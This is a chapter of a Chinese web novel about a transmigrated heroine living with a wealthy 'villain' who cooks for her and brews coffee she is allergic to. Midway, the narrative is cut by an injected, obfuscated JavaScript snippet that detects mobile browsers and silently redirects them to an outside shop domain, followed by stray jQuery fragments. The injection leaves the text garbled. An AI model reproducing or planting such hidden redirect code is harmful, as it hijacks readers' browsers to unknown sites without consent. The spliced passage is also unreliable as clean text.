欧妤一睁大眼睛,“怎么突然要拉小提琴?”
“你给我做了顿晚餐,算作谢礼。”他翘起嘴角,笑容带着一点宠溺。
欧妤一放下手机,挺直腰背,坐得端正。
高高扎起的丸子头,几缕碎发落在白皙的脖颈上。
明北湛移开目光。
修长的手指捏住琴弓,在琴弦上划过。
他的手指骨节分明,漂亮的像艺术品。
欧妤一不知道该听琴声,还是看他的手。
欢快的曲调,宛若漫步在开满花的平地上,然后追着蝴蝶跑。
欧妤一盯着他的手出神。
明北湛拉完了一曲。
“啪啪啪!”
她热情地鼓掌。
“真好听!”
明北湛瞧着她眼底多了笑意,看上去应该是开心了。
他放下了小提琴,坐在欧妤一旁边。
“你想买什么东西?我看看?”
“没,没什么。”
欧妤一绷紧了身体。
他突然坐得那么近,两人中间就隔了一个手臂的距离。
怎么不坐单人沙发上了?
“我……我回房间睡觉了。”她腾的站起来,小跑回房间了。
明北湛错愕。
欧妤一躺在床上,在购物软件刷了一个小时,想了想,又重新下单了笔记本电脑和一个人体工学椅。
现在她花钱没有罪恶感了。
明北湛刚从浴室出来,拿起手机看了眼,发现有几条银行短信。
支出的金额都很小,加起来才两万。
她买了什么东西?
*
明北湛一早上起来,先做了一个小时有氧运动。
黑色运动背心湿透,黏糊糊的,隐隐透出腹肌的轮廓。
欧妤一出了房间就看到明北湛往这边走,眼睛一下睁大了。
男人身量挺拔,宽肩窄腰,黑色背心领口偏大,脖子和锁骨都是汗水,白皙的手臂也流汗,水光淋漓。
无法控制自己的眼睛,飞快扫了眼对方的腹部。
好明显的腹肌轮廓。
欧妤一想到自己穿过来的第一天晚上,反派穿松松垮垮的睡袍,胸口大敞,在她面前走来走去。
怦怦怦!
欧妤一垂下睫羽,非礼勿视。
“早啊,哥哥。”
反派让她叫哥哥,肯定把她当妹妹看待了。
不能色。
要色也得对其他男的色。
要正经点。
欧妤一深呼吸一口气,到桌面上倒了杯凉白开。
明北湛脚步一顿,嗓音带一点点沙哑,“你坐着别动,我给你煮早餐。”
“哦……好。”
“你可以运动一下。”
“行……”
欧妤一慢吞吞地来到跑步机面前。
室内有空调,很凉爽,可运动本身就会热,她跑了两分钟就出汗了,改为走路了。
欧妤一运动了十五分钟,拿了一张纸巾,擦了擦汗,走到咖啡机面前。
旁边整齐地摆好了一排咖啡豆。
她不敢碰。
近距离闻了一下,咖啡豆还挺香。
玻璃罐子上的标签……
瑰夏?
没见过这个咖啡豆牌子。
猫屎咖啡,这她认识。
“你想喝咖啡?”背后传来一道磁性的嗓音。
欧妤一后退了两步,“没有,我就看看。”
明北湛洗了澡,换上黑西裤和黑衬衫,勾勒出肩背流畅的线条,额前的刘海没有往后梳,少了上位者的凌厉感。
他翘起嘴角,拿了一罐瑰夏咖啡豆,打开后舀了一勺出来,“你闻闻。”
欧妤一脑袋凑过去,嗅了嗅,咖啡豆的香气带有一点点花香,像……玫瑰?
“它好香啊,我闻到一点点花香,是我嗅觉出问题了?”
她高高束起的丸子头,换了个发圈,有红白波点蝴蝶结,后脑勺很圆。
碎发落在白皙耳边边,有点毛茸茸的,白腻的脸看不到毛孔,很好的皮肤状态。
鸦色睫羽纤长,轻轻眨动时,宛若振翅欲飞的蝴蝶翅膀。
圆润清澈的眼珠子一转,看向了他,眼底带着疑惑。
明北湛回过神,僵硬地点点头,“的确有花香,你没闻错。”
这款是红标瑰夏咖啡,源于巴拿马,是精品咖啡里的贵族豆,带花果香。
“你先去坐着,我给你做一杯手冲咖啡。”
“不不不,我只是好奇,并不是真的喜欢喝咖啡,太苦了。”欧妤一摆摆手。
“加牛奶和糖进去,就不苦了。”
明北湛卷起袖子,露出肌肉紧致的小臂,线条流畅。
欧妤一急了,“不用不用,我不喝咖啡,你就做自己那份吧。”
其实她想给反派做杯咖啡来的……
就是不会用咖啡机。
也不了解反派常喝哪种咖啡豆。
欧妤一对咖啡有点过敏,别人喝是提神,她喝是过敏。
“我咖啡过敏。”
“不用客气。”
明北湛以为她在不好意思,手上的动作更快了。
欧妤一见状,走到沙发上,打开电视。
明北湛将一杯瑰夏拿铁放在她面前,浓浓的咖啡香溢出来,混着奶味。
如果不放牛奶,就能清晰的闻到花果香。
又担心苦到她,不仅加了奶,还加了很多糖。
“尝尝看。”
“谢谢。”
欧妤一喝了一小口,虽然很香,但一口下去,强烈的苦味冲入味蕾,像中药。
这种高端的东西,只有反派会品,她没品所以品不出来。
“好喝,好喝……”她扯出一抹笑,边笑边点头。
一定要给足反派情绪价值。
真苦啊真苦啊,不好喝不好喝……
在反派转身后,她的表情绷不住了。
明北湛今天做了皮蛋瘦肉粥,再蒸了一屉小笼包。
这顿早餐欧妤一吃完了才竖起大拇指。
“好吃!”
“明天早上要吃什么?”
“香菇滑鸡粥。”
“还有吗?”
“没了。”
“行。”
明北湛出门上班了。
欧妤一站在玄关对他说:“路上注意安全。”
明北湛瞥了眼她的脑袋。
“嗯。”
反派去上班后。
欧妤一将阳台的昙花挪好位置。
晒足了阳光,不能再暴晒了。
距离上次浇水,过了六天了。
欧妤一给花浇了水,再把所有窗帘拉上,坐在沙发上看电视剧。
没喝完的咖啡放在茶几上,闻着这股味道,她的眼皮子在打架。
意识慢慢恍惚,脑袋往后一靠,眼皮闭上。
*
明氏集团底下停车场。
明北湛从车上下来。
许煦在他前面打电话,“朵朵还好吗?唉,我们都要上班,一个月就休息一两天,谁都没办法照顾它,要不要再养一条狗,陪一陪朵朵,它就不会抑郁了。”
“给他买的玩具到了,我今晚不用加班,拿上玩具带朵朵去公园玩。”
“嗯,好,晚上见。”
许煦挂断电话,进了电梯,转身就看到门外有一道高大的身影,被吓了一跳。
“明……明总,早上好。”
boss怎么走路没声音的。
还好没说boss坏话。
“朵朵是谁?”明北湛问了一句。
许煦回答:“萨摩耶,我和女朋友养的狗。”
“狗也会抑郁?”他好奇。
“我女朋友刚刚带它去检查了,医生是这么说的。”
“为什么?”
“我们都没时间陪他,晚上下班回去都很晚了,都很累,一个月就带它出来溜一圈,它整天待在家里也不能出去,情绪低落,就抑郁了。”
许煦好奇,“明总,您是不是也想养狗?”
他可记得,明总啥都养不活。
明北湛语气淡淡:“不是。”
电梯内安静下来。
很快就到了办公楼层。
明北湛回到办公室,对着电脑坐了十分钟,一个文件都没打开。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17566360|204766||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
脑海里不由自主浮现小昙花的脸。
她不熟悉这个城市,每天就在家里等他下班,和许秘书的宠物……不,她是人,不能跟狗混为一谈。
狗狗会抑郁。
她那么敏感的一个人,会不会胡思乱想很多东西?
怕花钱,怕浪费食物,怕被他嫌弃而主动讨好……
越想越觉得小昙花很可怜。
五点准时下班。
明北湛去了一趟超市。
许煦不用加班,也跟着下班了。
他带女朋友去超市买菜,好巧不巧,看到了明北湛。
许煦女朋友眼睛发亮,小声说:“那是你老板!”
“嘘!”许煦压低了声音。
两人也不跟明北湛打招呼,悄悄观察。
明北湛的购物车里都是新鲜的蔬菜,还有牛肉、牛肉卷、牛百叶……
“你老板亿万身家,竟然这么接地气,竟然自己出来买菜,我长见识了。”
“他独居,什么都喜欢亲力亲为,不是自己挑的食材不吃。”
“没有保姆吗?”
“没有呀,他喜欢安静,不喜欢被打扰。”
许煦和他女朋友两人头抵着头说悄悄话。
明北湛买单后,提着两大袋东西放在劳斯莱斯里面。
他回到房门外,输入指纹开门。
没有听到熟悉的声音。
明北湛下意识皱眉。
她怎么不来迎接他了?
有点不习惯。
明北湛将两袋东西放在玄关上的干净台面上。
里面有电视传来的声音。
明北湛动作一顿。
原来在看电视。
明北湛去到客厅,喊了一声,“明月,我回来了。”
等了一分钟。
她没回。
明北湛走到沙发边上,发现她睡着了。
“……”
还以为她又变回植物了。
明北湛松了口气。
巨大的电视上播放着古偶剧,此时静悄悄的,出现了女主躺在床上的一幕,男主悄悄进来,眼神隐忍克制,他站在床边看了很久,伸出手指去碰女主。
同时伴随着恰到好处的甜蜜伴奏。
明北湛一僵,收回了目光,要拿遥控器关掉电视。
扫了一圈,发现遥控器在她手上。
明北湛:……
茶几上的咖啡似乎没动过。
她是不是只喝了一口?
明北湛微微俯身,盯着她的脸。
她眼眸紧闭,眉眼自然舒展,五官精致得像个瓷娃娃,皮肤白皙细腻。
呼吸间,闻到淡淡的香气,似乎是洗发水的味道。
她好乖。
明北湛勾了勾唇,忍不住伸手,轻轻捏了捏她的脸颊,柔嫩温热,手感很好。
她睡得很沉,并没有醒来的迹象。
明北湛瞥了眼厚重的窗帘,全都挡住了外面的阳光。
极度昏暗的环境下,容易昏昏欲睡。
也不知道她什么时候睡着的。
他猜,这一时半会儿应该醒不了。
明北湛从她手里拿走遥控器,指尖不小心碰到她的掌心,动作僵住。
垂下眸子,盯她的手。
他张开自己的手掌,和她对比了一下,她的手好小。
收回手时,轻轻蹭了一下她的手指,触感冰凉。
明北湛一顿。
关了电视后。
他找来一张薄薄的毯子,放在她身上。
将厨房的门合上,隔音极好,里面的动静外面听不见。
欧妤一模模糊糊醒来,肚子发出“咕噜”叫声。
她下意识去摸手机,看到时间后,瞳孔一缩。
晚上七点半了!
她从十二点睡到现在?
不是吧……
好吓人。
再也不喝咖啡了。
明北湛昨天说今天五点下班,这个点……
蓦地,余光瞥到一抹光亮。
欧妤一看向厨房,是他回来了?
她正要起身,发现身上有张纯黑色的薄毯子,透着一股幽幽冷香。